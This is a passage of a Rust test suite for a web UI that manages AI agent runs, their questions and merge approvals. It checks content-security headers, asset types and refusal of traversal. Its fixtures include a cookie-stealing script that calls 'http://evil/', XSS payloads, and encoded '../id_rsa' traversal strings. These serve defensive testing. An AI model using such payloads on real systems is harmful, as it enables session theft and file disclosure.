9797    fn write_daemon(home: &FsPath, updated_at: Timestamp) {
9798        let body = serde_json::json!({
9799            "schema": 1,
9800            "pid": 4242,
9801            "started_at": Timestamp::now().to_string(),
9802            "updated_at": updated_at.to_string(),
9803            "idle": false,
9804            "current": [{ "task": "20260902-140501-aaaa", "run": "20260902-140502-bbbb" }],
9805            "completed": 7,
9806            "polls": 143,
9807        });
9808        std::fs::write(home.join("daemon.json"), body.to_string()).expect("write daemon.json");
9809    }
9810
9811    /// A loop that starts, finds nothing to do, and waits to be told to stop.
9812    ///
9813    /// No test in this file may start the real loop - see [`Ui::launch`] for
9814    /// why - so this stands in for the only thing the routes need a loop to
9815    /// do: keep running until `Stop` is set, then return. A real
9816    /// `serve_until` here would resolve its queue and its status file through
9817    /// the process-global magi home, claim whatever it found in the
9818    /// operator's live backlog, overwrite the status file of the `magi serve`
9819    /// that owns it, and spend real agent quota on a real competition.
9820    fn launch_idle(
9821        _opts: daemon::Opts,
9822        stop: daemon::Stop,
9823    ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
9824        Box::pin(async move {
9825            while !stop.stopped() {
9826                tokio::time::sleep(Duration::from_millis(2)).await;
9827            }
9828            Ok(())
9829        })
9830    }
9831
9832    /// A loop that fails on the way up, the way one whose home has gone
9833    /// read-only does.
9834    fn launch_broken(
9835        _opts: daemon::Opts,
9836        _stop: daemon::Stop,
9837    ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
9838        // The stand-in dies instantly, so a restarted one can record its own
9839        // failure before the start's response is read. The second attempt
9840        // therefore fails with a different message, to tell a stale error
9841        // from a fresh one.
9842        static CALLS: std::sync::atomic::AtomicUsize = std::sync::atomic::AtomicUsize::new(0);
9843        let first = CALLS.fetch_add(1, std::sync::atomic::Ordering::SeqCst) == 0;
9844        Box::pin(async move {
9845            Err(anyhow::anyhow!(if first {
9846                "publish the daemon status file: read-only file system"
9847            } else {
9848                "the restarted stand-in failed as well"
9849            }))
9850        })
9851    }
9852
9853    /// The address the parking loop knocks on, and what it heard there.
9854    ///
9855    /// A [`Launch`] is a plain function pointer, so a stand-in loop cannot
9856    /// capture a fixture's address; this is how it is handed one. Only
9857    /// `the_deck_answers_while_it_parks_and_frees_the_address_first` touches
9858    /// these, so nothing else in this binary can race them.
9859    static PARK_KNOCK: std::sync::Mutex<Option<SocketAddr>> = std::sync::Mutex::new(None);
9860    static PARK_HEARD: std::sync::Mutex<Option<u16>> = std::sync::Mutex::new(None);
9861
9862    /// A loop that, once it is asked to stop, checks the deck still answers
9863    /// before it goes.
9864    ///
9865    /// It stands in for a run mid-node: `finish_loop` waits for this future,
9866    /// so the request it makes is strictly inside the park window - no sleep
9867    /// and no polling needed to be sure of that.
9868    fn launch_knocking_on_the_way_out(
9869        _opts: daemon::Opts,
9870        stop: daemon::Stop,
9871    ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
9872        Box::pin(async move {
9873            while !stop.stopped() {
9874                tokio::time::sleep(Duration::from_millis(2)).await;
9875            }
9876            let addr = PARK_KNOCK
9877                .lock()
9878                .expect("park knock")
9879                .expect("the test set an address");
9880            let heard = request(addr, "GET", "/api/health", None).await.status;
9881            *PARK_HEARD.lock().expect("park heard") = Some(heard);
9882            Ok(())
9883        })
9884    }
9885
9886    /// The loop view once `want` accepts it.
9887    ///
9888    /// Polled rather than asserted straight after the POST because stopping
9889    /// is deliberately not instant - that is the contract - and rather than
9890    /// slept through because a fixed wait is either flaky or slow.
9891    /// `SETTLE_STEPS` is far longer than a stand-in loop needs and still
9892    /// finite, so a genuine hang fails the test instead of hanging the
9893    /// suite.
9894    async fn settled(fx: &Fixture, want: fn(&Value) -> bool) -> Value {
9895        for _ in 0..SETTLE_STEPS {
9896            let view = fx.get("/api/loop").await.json();
9897            if want(&view) {
9898                return view;
9899            }
9900            tokio::time::sleep(Duration::from_millis(10)).await;
9901        }
9902        panic!(
9903            "the loop never settled: {}",
9904            fx.get("/api/loop").await.json()
9905        );
9906    }
9907
9908    /// File an open question directly in the store the server reads.
9909    fn ask(fx: &Fixture, summary: &str, choices: &[&str]) -> String {
9910        let store = fx.questions();
9911        let mut q = Question::new(
9912            "20260902-000000-beef".to_owned(),
9913            "implement".to_owned(),
9914            "impl-A".to_owned(),
9915            summary.to_owned(),
9916            "because it matters".to_owned(),
9917            choices.iter().map(|c| (*c).to_owned()).collect(),
9918        );
9919        store.put(&mut q).expect("put question");
9920        q.id
9921    }
9922
9923    /// A question with a panel the server can serve, plus the named assets.
9924    ///
9925    /// Written through `Questions::put_panel` rather than by laying out the
9926    /// directory here, so these tests exercise the same on-disk shape the
9927    /// agents produce and cannot pass against a layout only the tests know.
9928    fn panel(fx: &Fixture, html: &str, assets: &[(&str, &[u8])]) -> String {
9929        let store = fx.questions();
9930        let mut q = Question::new(
9931            "20260902-000000-beef".to_owned(),
9932            "land".to_owned(),
9933            "fix".to_owned(),
9934            "Merge this?".to_owned(),
9935            "the diff is in the panel".to_owned(),
9936            vec!["merge".to_owned(), "hold".to_owned()],
9937        );
9938        // Staged outside the questions root, because `put_panel` copies from
9939        // wherever the agent left its files.
9940        let staging = fx.home.path().join("staging");
9941        std::fs::create_dir_all(&staging).expect("staging dir");
9942        let sources: Vec<PathBuf> = assets
9943            .iter()
9944            .map(|(name, bytes)| {
9945                let path = staging.join(name);
9946                std::fs::write(&path, bytes).expect("write staged asset");
9947                path
9948            })
9949            .collect();
9950        store
9951            .put_panel(&mut q, html, &sources)
9952            .expect("write the panel");
9953        store.put(&mut q).expect("put question");
9954        q.id
9955    }
9956
9957    /// A talk on disk, without talking to a model.
9958    ///
9959    /// Written as JSON straight into the store the server reads, because the
9960    /// only constructor `talk::begin` offers takes no turn but still requires
9961    /// a real caller-visible flow. The one thing this cannot make up is the
9962    /// seat, so it is built with the real `SeatState::new` and serialized -
9963    /// the alternative, hand-writing that object, would make these tests fail
9964    /// the day the seat gains a field.
9965    fn seed_talk(fx: &Fixture, id: &str, status: &str) -> String {
9966        seed_talk_at(&fx.talks(), id, status)
9967    }
9968
9969    fn seed_talk_at(store: &Talks, id: &str, status: &str) -> String {
9970        std::fs::create_dir_all(store.root()).expect("talks dir");
9971        let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "mock", 7))
9972            .expect("serialize a seat");
9973        let body = serde_json::json!({
9974            "schema": 1,
9975            "id": id,
9976            "repo": "/repo/magi",
9977            "agent": "mock",
9978            "status": status,
9979            "turns": [],
9980            "created_at": Timestamp::now().to_string(),
9981            "updated_at": Timestamp::now().to_string(),
9982            "seat": seat,
9983        });
9984        std::fs::write(store.path_of(id), body.to_string()).expect("write the talk");
9985        store.get(id).expect("the seeded talk has to be readable");
9986        id.to_owned()
9987    }
9988
9989    #[tokio::test]
9990    async fn both_panel_routes_send_the_whole_policy_that_makes_agent_html_safe() {
9991        let fx = Fixture::start().await;
9992        let id = panel(
9993            &fx,
9994            "<h1>Merge?</h1><img src=\"diff.svg\">",
9995            &[("diff.svg", b"<svg xmlns='http://www.w3.org/2000/svg'/>")],
9996        );
9997
9998        for path in [
9999            format!("/api/questions/{id}/panel"),
10000            format!("/api/questions/{id}/asset/diff.svg"),
10001        ] {
10002            let res = fx.get(&path).await;
10003            assert_eq!(res.status, 200, "{path}: {}", res.body);
10004            // The whole string, not a substring. A weakened directive - an
10005            // `img-src *` that lets a panel beacon out to a remote host, a
10006            // `script-src` anything, a missing `form-action` that lets it post
10007            // the owner's decision to a third party - has to fail here, and a
10008            // `contains` assertion would let every one of those through.
10009            assert_eq!(
10010                res.header("content-security-policy"),
10011                Some(
10012                    "default-src 'none'; img-src 'self' data:; style-src 'unsafe-inline'; \
10013                     font-src data:; base-uri 'none'; form-action 'none'; \
10014                     frame-ancestors 'self'"
10015                ),
10016                "{path} is the only thing between a hostile panel and the tailnet"
10017            );
10018            assert_eq!(
10019                res.header("x-content-type-options"),
10020                Some("nosniff"),
10021                "{path}: a browser must not re-decide the type we sent"
10022            );
10023            assert_eq!(
10024                res.header("referrer-policy"),
10025                Some("no-referrer"),
10026                "{path}: a panel must not leak the question id off the machine"
10027            );
10028
10029            // The front end mounts the frame only after a `HEAD` says the
10030            // panel is there, so `HEAD` has to answer with the same status and
10031            // the same policy as `GET` - a preflight that came back without
10032            // the CSP would mean a frame mounted on an unverified promise.
10033            let pre = fx.head(&path).await;
10034            assert_eq!(pre.status, res.status, "{path}: HEAD must agree with GET");
10035            assert_eq!(
10036                pre.header("content-security-policy"),
10037                res.header("content-security-policy"),
10038                "{path}: the preflight carries the same policy"
10039            );
10040            assert_eq!(
10041                pre.header("content-type"),
10042                res.header("content-type"),
10043                "{path}: the preflight carries the same type"
10044            );
10045        }
10046    }
10047
10048    #[tokio::test]
10049    async fn a_panel_reaches_the_browser_byte_for_byte() {
10050        let fx = Fixture::start().await;
10051        // Markup a sanitiser would be tempted to touch: a stray `<`, a script
10052        // tag, an entity, and a multi-byte character. The sandbox is what makes
10053        // this safe, so nothing here may be rewritten on the way out - a
10054        // rewritten diff is a diff the owner cannot trust.
10055        let html = "<h1>Merge?</h1><p>a &lt; b — 変更</p><script>alert(1)</script>";
10056        let id = panel(&fx, html, &[]);
10057
10058        let res = fx.get(&format!("/api/questions/{id}/panel")).await;
10059
10060        assert_eq!(res.status, 200);
10061        assert_eq!(res.bytes, html.as_bytes(), "served verbatim, not sanitised");
10062        assert_eq!(res.header("content-type"), Some("text/html; charset=utf-8"));
10063        assert_eq!(
10064            res.header("content-disposition"),
10065            None,
10066            "the panel itself is rendered in the frame, not downloaded"
10067        );
10068    }
10069
10070    #[tokio::test]
10071    async fn an_svg_asset_is_a_download_and_a_png_is_not() {
10072        let fx = Fixture::start().await;
10073        let svg = b"<svg xmlns='http://www.w3.org/2000/svg'><script>alert(1)</script></svg>";
10074        let png = b"\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR".as_slice();
10075        let id = panel(
10076            &fx,
10077            "<img src=\"diff.svg\"><img src=\"shot.png\">",
10078            &[("diff.svg", svg), ("shot.png", png)],
10079        );
10080
10081        let as_svg = fx.get(&format!("/api/questions/{id}/asset/diff.svg")).await;
10082        let as_png = fx.get(&format!("/api/questions/{id}/asset/shot.png")).await;
10083
10084        assert_eq!(as_svg.status, 200);
10085        assert_eq!(as_svg.header("content-type"), Some("image/svg+xml"));
10086        // An SVG is XML that may carry script. Inside the panel it is an
10087        // `<img src>` and the script cannot run; opened at the top level it
10088        // would be a document on magi's own origin, so the browser is told to
10089        // download it instead of rendering it.
10090        assert_eq!(as_svg.header("content-disposition"), Some("attachment"));
10091
10092        assert_eq!(as_png.status, 200);
10093        assert_eq!(as_png.header("content-type"), Some("image/png"));
10094        assert_eq!(
10095            as_png.header("content-disposition"),
10096            None,
10097            "a raster image has no execution surface, so tapping it still shows it"
10098        );
10099        assert_eq!(as_png.bytes, png, "a binary asset survives the round trip");
10100    }
10101
10102    #[tokio::test]
10103    async fn an_html_asset_is_never_served_as_html() {
10104        let fx = Fixture::start().await;
10105        let id = panel(
10106            &fx,
10107            "<p>see the notes</p>",
10108            &[
10109                (
10110                    "notes.html",
10111                    b"<script>fetch('http://evil/'+document.cookie)</script>",
10112                ),
10113                ("hook.js", b"fetch('http://evil/')"),
10114                ("data.json", b"{}"),
10115                ("HEADLINE.TXT", b"plain"),
10116            ],
10117        );
10118
10119        for name in ["notes.html", "hook.js", "data.json"] {
10120            let res = fx.get(&format!("/api/questions/{id}/asset/{name}")).await;
10121            assert_eq!(res.status, 200, "{name}: {}", res.body);
10122            // Serving this as text/html would be a way to reach agent markup
10123            // at the top level of the operator's browser, outside the frame's
10124            // sandbox and outside its CSP - which is the whole thing the panel
10125            // design exists to prevent. Unlisted types are downloads.
10126            assert_eq!(
10127                res.header("content-type"),
10128                Some("application/octet-stream"),
10129                "{name} must not be a type the browser will execute or render"
10130            );
10131        }
10132        // The whitelist is matched case-insensitively, so an agent shouting the
10133        // extension still gets a readable file rather than a download.
10134        let txt = fx
10135            .get(&format!("/api/questions/{id}/asset/HEADLINE.TXT"))
10136            .await;
10137        assert_eq!(
10138            txt.header("content-type"),
10139            Some("text/plain; charset=utf-8")
10140        );
10141    }
10142
10143    #[tokio::test]
10144    async fn no_spelling_of_a_traversing_asset_name_reaches_the_filesystem() {
10145        let fx = Fixture::start().await;
10146        let id = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
10147        // Something outside the panel directory that a traversal would reach if
10148        // one got through, so a passing test is not merely "the file was
10149        // missing anyway".
10150        std::fs::write(fx.questions().root().join("id_rsa"), b"secret").expect("write the bait");
10151
10152        // Decoded before this server's handler sees them: axum percent-decodes
10153        // path parameters, so `name` arrives as `../id_rsa`, `..\id_rsa` and a
10154        // string with a NUL in it. All three look like ordinary single-segment
10155        // filenames to the router, so the router passes them through and
10156        // `valid_asset_name` is what refuses them - for the literal `..`, and
10157        // for `/`, `\` and NUL not being in the permitted character set.
10158        for encoded in [
10159            "%2e%2e%2fid_rsa",
10160            "..%2fid_rsa",
10161            "..%5cid_rsa",
10162            "%2e%2e%5cid_rsa",
10163            "diff%00.svg",
10164            "..",
10165            ".hidden",
10166            "%2e%2e%2f%2e%2e%2fid_rsa",
10167        ] {
10168            let res = fx
10169                .get(&format!("/api/questions/{id}/asset/{encoded}"))
10170                .await;
10171            assert_eq!(
10172                res.status, 400,
10173                "`{encoded}` has to be refused by name, not looked up: {}",
10174                res.body
10175            );
10176            assert!(res.json()["error"].is_string(), "{}", res.body);
10177        }
10178
10179        // Not decoded, and never this handler's problem: a real slash makes the
10180        // request one segment too long for `/api/questions/{id}/asset/{name}`,
10181        // so axum's router has no route to match and answers before any code
10182        // here runs. Asserted so that a future route with a wildcard segment
10183        // cannot quietly open this door.
10184        for literal in ["../id_rsa", "../../questions/id_rsa", "..%5c../id_rsa"] {
10185            let res = fx
10186                .get(&format!("/api/questions/{id}/asset/{literal}"))
10187                .await;
10188            assert_eq!(
10189                res.status, 404,
10190                "`{literal}` must not match the asset route at all: {}",
10191                res.body
10192            );
10193        }
10194    }
10195
10196    #[tokio::test]
10197    async fn a_missing_panel_and_an_unknown_asset_are_both_json_404s() {
10198        let fx = Fixture::start().await;
10199        let plain = ask(&fx, "Which backend?", &["SQLite"]);
10200        let with_panel = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
10201
10202        // A question nobody wrote a panel for. The client preflights with HEAD
10203        // and cannot see inside a sandboxed frame, so this must be a status and
10204        // not an empty page.
10205        let none = fx.get(&format!("/api/questions/{plain}/panel")).await;
10206        assert_eq!(none.status, 404, "{}", none.body);
10207        assert!(none.json()["error"].is_string(), "{}", none.body);
10208        assert_eq!(
10209            fx.head(&format!("/api/questions/{plain}/panel"))
10210                .await
10211                .status,
10212            404,
10213            "the preflight is the only way the client can learn this"
10214        );
10215
10216        // A name that is perfectly legal and simply is not there.
10217        let missing = fx
10218            .get(&format!("/api/questions/{with_panel}/asset/absent.png"))
10219            .await;
10220        assert_eq!(missing.status, 404, "{}", missing.body);
10221        assert!(missing.json()["error"].is_string(), "{}", missing.body);
10222
10223        // A question that does not exist at all, on both routes.
10224        assert_eq!(fx.get("/api/questions/nope/panel").await.status, 404);
10225        assert_eq!(
10226            fx.get("/api/questions/nope/asset/diff.svg").await.status,
10227            404
10228        );
10229    }
10230
10231    #[tokio::test]
10232    async fn a_run_with_an_open_question_reads_as_waiting() {
10233        let fx = Fixture::start().await;
10234        let run = "20260902-000000-beef".to_owned();
10235        write_run(&fx.runs(), &run, RunStatus::Implementing);
10236
10237        let before = fx.get("/api/runs").await.json();
10238        assert_eq!(before[0]["waiting"], false, "{before}");
10239
10240        let store = fx.questions();
10241        let mut q = Question::new(
10242            run.clone(),
10243            "implement".to_owned(),
10244            "impl-A".to_owned(),
10245            "Which backend?".to_owned(),
10246            String::new(),
10247            vec!["SQLite".to_owned()],
10248        );
10249        store.put(&mut q).expect("put");
10250
10251        let during = fx.get("/api/runs").await.json();
10252        assert_eq!(during[0]["waiting"], true, "{during}");
10253
10254        // Answered: the run is moving again, and the flag has to follow without
10255        // anything having rewritten run.json.
10256        q.answer(Answer::Choice("SQLite".to_owned()))
10257            .expect("answer");
10258        store.put(&mut q).expect("put");
10259        let after = fx.get("/api/runs").await.json();
10260        assert_eq!(after[0]["waiting"], false, "{after}");
10261    }
10262
10263    #[tokio::test]
10264    async fn an_open_question_is_listed_and_counted_by_health() {
10265        let fx = Fixture::start().await;
10266        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
10267
10268        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
10269        let listed = fx.get("/api/questions").await.json();
10270        assert_eq!(listed.as_array().expect("array").len(), 1);
10271        assert_eq!(listed[0]["id"], id);
10272        assert_eq!(listed[0]["status"], "open");
10273        assert_eq!(listed[0]["choices"][1], "Redis");
10274        // The count is what makes the phone's indicator honest: it is the one
10275        // number meaning nothing will move until a human acts.
10276        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
10277    }
10278
10279    fn obsolete_approval_state() -> RunState {
10280        let mut state = crate::land::tests::repair_state(true, true);
10281        state.pr = Some(crate::run::PrRecord {
10282            url: "https://github.com/example/repo/pull/42".into(),
10283            number: 42,
10284            state: "open".into(),
10285            checks: "green".into(),
10286            round: 1,
10287            rounds: 4,
10288            red_at_merge: Vec::new(),
10289        });
10290        state
10291    }
10292
10293    #[tokio::test]
10294    async fn obsolete_approval_answer_handler_persists_retirement_for_each_owner_shape() {
10295        for owner in ["missing", "current", "completed", "later"] {
10296            let fx = Fixture {
10297                home: TempDir::new().unwrap(),
10298                addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
10299            };
10300            let mut state = obsolete_approval_state();
10301            state.status = RunStatus::Landing;
10302            state.parked = true;
10303            state.driver_exited = true;
10304            let mut q = Question::new(
10305                state.id.clone(),
10306                crate::land::APPROVAL_NODE.into(),
10307                "land".into(),
10308                "Old approval".into(),
10309                "Original evidence".into(),
10310                vec!["merge".into(), "hold".into()],
10311            );
10312            state.land_approval = Some(crate::run::LandApproval {
10313                question: q.id.clone(),
10314                head: "head".into(),
10315            });
10316            state.save_under(fx.home.path()).unwrap();
10317            let stale = state.clone();
10318            fx.questions().put(&mut q).unwrap();
10319            let mut task = Task::new(
10320                "Owner".into(),
10321                "Original instruction".into(),
10322                state.repo.clone(),
10323                Source::Human,
10324            );
10325            task.runs.push(state.id.clone());
10326            task.status = if owner == "completed" {
10327                TaskStatus::Done
10328            } else {
10329                TaskStatus::Parked
10330            };
10331            if owner == "later" {
10332                task.runs.push("later-run".into());
10333            }
10334            if owner != "missing" {
10335                fx.queue().put(&mut task).unwrap();
10336            }
10337            let ui = Arc::new(Ui::new(
10338                fx.queue(),
10339                fx.questions(),
10340                fx.talks(),
10341                fx.runs(),
10342                fx.home.path().into(),
10343                state.repo.clone(),
10344            ));
10345            let response = question_answer(
10346                State(ui),
10347                Path(q.id.clone()),
10348                Ok(Json(NewAnswer {
10349                    choice: Some(crate::merge_decision::DISMISS.into()),
10350                    text: None,
10351                })),
10352            )
10353            .await
10354            .unwrap();
10355            assert_eq!(
10356                response.0.question.resolution().as_deref(),
10357                Some(crate::merge_decision::DISMISS)
10358            );
10359            let disk = RunState::load_under(&state.id, fx.home.path()).unwrap();
10360            assert_eq!(disk.status, RunStatus::Superseded);
10361            assert!(crate::pr_head::ensure_owner_record(&stale, Some(&disk)).is_err());
10362            assert!(!crate::merge_decision::resumable_hold(&disk));
10363            assert_eq!(
10364                serde_json::to_value(&disk.pr).unwrap(),
10365                serde_json::to_value(&stale.pr).unwrap()
10366            );
10367            assert_eq!(fx.questions().count_open(), 0);
10368            assert!(fx.questions().get(&q.id).unwrap().chosen_action().is_none());
10369            crate::daemon::apply_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
10370            if owner == "missing" {
10371                assert!(fx.queue().list().is_empty());
10372            } else {
10373                let after = fx.queue().get(&task.id).unwrap();
10374                assert_eq!(
10375                    after.status,
10376                    if owner == "current" {
10377                        TaskStatus::Done
10378                    } else {
10379                        task.status
10380                    }
10381                );
10382                assert_eq!(after.runs, task.runs);
10383                assert_eq!(after.instruction, task.instruction);
10384                assert_eq!(after.action_applied(&q.id), owner == "current");
10385            }
10386        }
10387    }
10388
10389    #[tokio::test]
10390    async fn obsolete_legacy_approval_dismissal_survives_http_reconnect_without_an_owner() {
10391        let fx = Fixture::start().await;
10392        let mut state = obsolete_approval_state();
10393        state.status = RunStatus::Landing;
10394        state.parked = true;
10395        state.driver_exited = true;
10396        let mut q = Question::new(
10397            state.id.clone(),
10398            crate::land::APPROVAL_NODE.into(),
10399            "land".into(),
10400            "Superseded PR approval".into(),
10401            "Original review evidence".into(),
10402            vec!["merge".into(), "hold".into()],
10403        );
10404        state.land_approval = Some(crate::run::LandApproval {
10405            question: q.id.clone(),
10406            head: "old-reviewed-head".into(),
10407        });
10408        // The old persisted PR may still say open even when a separate change
10409        // already landed. Dismissal must not use that snapshot to close it.
10410        state.save_under(fx.home.path()).unwrap();
10411        let stale_driver = state.clone();
10412        fx.questions().put(&mut q).unwrap();
10413        let path = fx
10414            .home
10415            .path()
10416            .join("questions")
10417            .join(format!("{}.json", q.id));
10418        let mut legacy = serde_json::to_value(&q).unwrap();
10419        legacy["schema"] = 9.into();
10420        legacy.as_object_mut().unwrap().remove("merge_target");
10421        std::fs::write(&path, serde_json::to_vec(&legacy).unwrap()).unwrap();
10422
10423        // POST without GET tests legacy upgrade and validation at the actual
10424        // entry point, rather than constructing a modern card in the test.
10425        let body = serde_json::json!({"choice": crate::merge_decision::DISMISS}).to_string();
10426        let answer_path = format!("/api/questions/{}/answer", q.id);
10427        let res = fx.post(&answer_path, Some(&body)).await;
10428        assert_eq!(res.status, 200, "{}", res.body);
10429        let disk = fx.questions().get(&q.id).unwrap();
10430        assert_eq!(
10431            disk.resolution().as_deref(),
10432            Some(crate::merge_decision::DISMISS)
10433        );
10434        assert!(disk.detail.starts_with("Original review evidence"));
10435        let retired = RunState::load_under(&state.id, fx.home.path()).unwrap();
10436        assert_eq!(retired.status, RunStatus::Superseded);
10437        assert_eq!(
10438            serde_json::to_value(&retired.pr).unwrap(),
10439            serde_json::to_value(&state.pr).unwrap()
10440        );
10441        assert!(!retired.merge_decision.as_ref().unwrap().closed);
10442        assert!(!crate::merge_decision::resumable_hold(&retired));
10443        assert!(fx.queue().list().is_empty());
10444        crate::daemon::apply_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
10445        // A restarted server re-reads the persisted pending list.
10446        let addr = Fixture::serve(
10447            fx.home.path(),
10448            PathBuf::from("/repo/magi"),
10449            launch_idle,
10450            None,
10451        )
10452        .await;
10453        let reconnected = Fixture {
10454            home: fx.home,
10455            addr,
10456        };
10457        let listed = reconnected.get("/api/questions").await.json();
10458        assert!(
10459            listed
10460                .as_array()
10461                .unwrap()
10462                .iter()
10463                .all(|q| q["status"] != "open")
10464        );
10465        assert_eq!(listed[0]["id"], q.id, "history remains available");
10466        assert_eq!(
10467            reconnected.get("/api/health").await.json()["questions_open"],
10468            0
10469        );
10470        assert_eq!(
10471            reconnected
10472                .post(&answer_path, Some(r#"{"choice":"merge"}"#))
10473                .await
10474                .status,
10475            409
10476        );
10477        // A late waiter cannot turn the old answer into a new decision.
10478        assert!(
10479            reconnected
10480                .questions()
10481                .update(&q.id, |q| q.answer(Answer::Choice("hold".into())))
10482                .is_err()
10483        );
10484        // The same guard used by claims, repair and publication rejects a
10485        // saved in-memory driver as well as the persisted terminal record.
10486        assert!(crate::pr_head::ensure_owner_record(&stale_driver, Some(&retired)).is_err());
10487    }
10488
10489    #[tokio::test]
10490    async fn obsolete_approval_dismissal_respects_claims_and_later_attempts() {
10491        let fx = Fixture::start().await;
10492        let mut state = obsolete_approval_state();
10493        state.status = RunStatus::Landing;
10494        state.driver_exited = true;
10495        let mut q = Question::new(
10496            state.id.clone(),
10497            crate::land::APPROVAL_NODE.into(),
10498            "land".into(),
10499            "Obsolete approval".into(),
10500            String::new(),
10501            vec!["merge".into(), "hold".into()],
10502        );
10503        state.land_approval = Some(crate::run::LandApproval {
10504            question: q.id.clone(),
10505            head: "head".into(),
10506        });
10507        state.save_under(fx.home.path()).unwrap();
10508        fx.questions().put(&mut q).unwrap();
10509        let mut task = Task::new(
10510            "Owner".into(),
10511            "Original instruction".into(),
10512            state.repo.clone(),
10513            Source::Human,
10514        );
10515        task.runs = vec![state.id.clone(), "later-run".into()];
10516        fx.queue().put(&mut task).unwrap();
10517        let before = std::fs::read(fx.queue().path_of(&task.id)).unwrap();
10518        let claim = fx.queue().claim(&task.id).unwrap();
10519        let body = serde_json::json!({"choice": crate::merge_decision::DISMISS}).to_string();
10520        let path = format!("/api/questions/{}/answer", q.id);
10521        assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
10522        assert!(fx.questions().get(&q.id).unwrap().status.open());
10523        drop(claim);
10524        let publication = crate::pr_head::owner_lock(fx.home.path(), &state.id).unwrap();
10525        assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
10526        assert!(fx.questions().get(&q.id).unwrap().status.open());
10527        drop(publication);
10528        // Unknown liveness and armed auto-merge both fail without settling.
10529        state.driver_exited = false;
10530        state.driver_pid = None;
10531        state.save_under(fx.home.path()).unwrap();
10532        assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
10533        state.driver_exited = true;
10534        state.land_armed_head = Some("head".into());
10535        state.save_under(fx.home.path()).unwrap();
10536        assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
10537        state.land_armed_head = None;
10538        state.save_under(fx.home.path()).unwrap();
10539        assert_eq!(fx.post(&path, Some(&body)).await.status, 200);
10540        crate::daemon::apply_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
10541        assert_eq!(std::fs::read(fx.queue().path_of(&task.id)).unwrap(), before);
10542    }
10543
10544    #[tokio::test]
10545    async fn obsolete_approval_dismissal_retries_partial_writes_and_finishes_only_current_owner() {
10546        let fx = Fixture::start().await;
10547        let mut state = obsolete_approval_state();
10548        state.status = RunStatus::Landing;
10549        state.driver_exited = true;
10550        let mut q = Question::new(
10551            state.id.clone(),
10552            crate::land::APPROVAL_NODE.into(),
10553            "land".into(),
10554            "Obsolete approval".into(),
10555            String::new(),
10556            vec!["merge".into(), "hold".into()],
10557        );
10558        state.land_approval = Some(crate::run::LandApproval {
10559            question: q.id.clone(),
10560            head: "head".into(),
10561        });
10562        state.save_under(fx.home.path()).unwrap();
10563        fx.questions().put(&mut q).unwrap();
10564        let mut task = Task::new(
10565            "Owner".into(),
10566            "Original instruction".into(),
10567            state.repo.clone(),
10568            Source::Human,
10569        );
10570        task.runs.push(state.id.clone());
10571        task.status = TaskStatus::Parked;
10572        fx.queue().put(&mut task).unwrap();
10573        // Model a crash after the run stop was persisted but before the queue
10574        // and answered question were flushed. Retrying must finish, not resume.
10575        state.merge_decision = Some(crate::merge_decision::Decision {
10576            question: q.id.clone(),
10577            target: crate::merge_decision::Target {
10578                pr: state.pr.as_ref().unwrap().url.clone(),
10579                head: "head".into(),
10580                language: "ja".into(),
10581            },
10582            choice: crate::merge_decision::DISMISS.into(),
10583            closed: false,
10584            replacement_run: None,
10585            replacement_pr: None,
10586        });
10587        state.status = RunStatus::Superseded;
10588        state.save_under(fx.home.path()).unwrap();
10589        let body = serde_json::json!({"choice": crate::merge_decision::DISMISS}).to_string();
10590        let path = format!("/api/questions/{}/answer", q.id);
10591        assert_eq!(fx.post(&path, Some(&body)).await.status, 200);
10592        let done = fx.queue().get(&task.id).unwrap();
10593        assert_eq!(done.status, TaskStatus::Done);
10594        assert_eq!(done.runs, task.runs);
10595        assert_eq!(done.instruction, task.instruction);
10596        assert!(done.action_applied(&q.id));
10597        crate::daemon::apply_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
10598        assert_eq!(fx.queue().get(&task.id).unwrap().status, TaskStatus::Done);
10599        assert!(!fx.questions().get(&q.id).unwrap().status.open());
10600    }
10601
10602    #[tokio::test]
10603    async fn merge_decision_api_persists_exact_target_and_selected_action() {
10604        let fx = Fixture {
10605            home: TempDir::new().unwrap(),
10606            addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
10607        };
10608        for choice in [
10609            crate::land::HOLD,
10610            crate::land::REPAIR,
10611            crate::land::APPROVE,
10612            crate::merge_decision::WITHDRAW,
10613            "reimplement:beta",
10614        ] {
10615            let mut q = Question::new(
10616                "old-run".into(),
10617                crate::land::APPROVAL_NODE.into(),
10618                "land".into(),
10619                "Decision".into(),
10620                "Review findings".into(),
10621                vec![
10622                    "merge".into(),
10623                    "hold".into(),
10624                    crate::land::REPAIR.into(),
10625                    crate::merge_decision::WITHDRAW.into(),
10626                    "reimplement:beta".into(),
10627                ],
10628            );
10629            q.merge_target = Some(crate::merge_decision::Target {
10630                pr: "https://github.com/example/repo/pull/42".into(),
10631                head: "exact-reviewed-head".into(),
10632                language: "ja".into(),
10633            });
10634            q.consult = Some(ask::ChatConsult {
10635                talk: "another-conversation".into(),
10636                at: jiff::Timestamp::now(),
10637            });
10638            fx.questions().put(&mut q).unwrap();
10639            let ui = Arc::new(Ui::new(
10640                fx.queue(),
10641                fx.questions(),
10642                fx.talks(),
10643                fx.runs(),
10644                fx.home.path().into(),
10645                std::path::PathBuf::from("."),
10646            ));
10647            let response = question_answer(
10648                State(ui.clone()),
10649                Path(q.id.clone()),
10650                Ok(Json(NewAnswer {
10651                    choice: Some(choice.into()),
10652                    text: None,
10653                })),
10654            )
10655            .await
10656            .unwrap();
10657            assert_eq!(response.0.question.resolution().as_deref(), Some(choice));
10658            let disk = fx.questions().get(&q.id).unwrap();
10659            assert_eq!(disk.merge_target, q.merge_target);
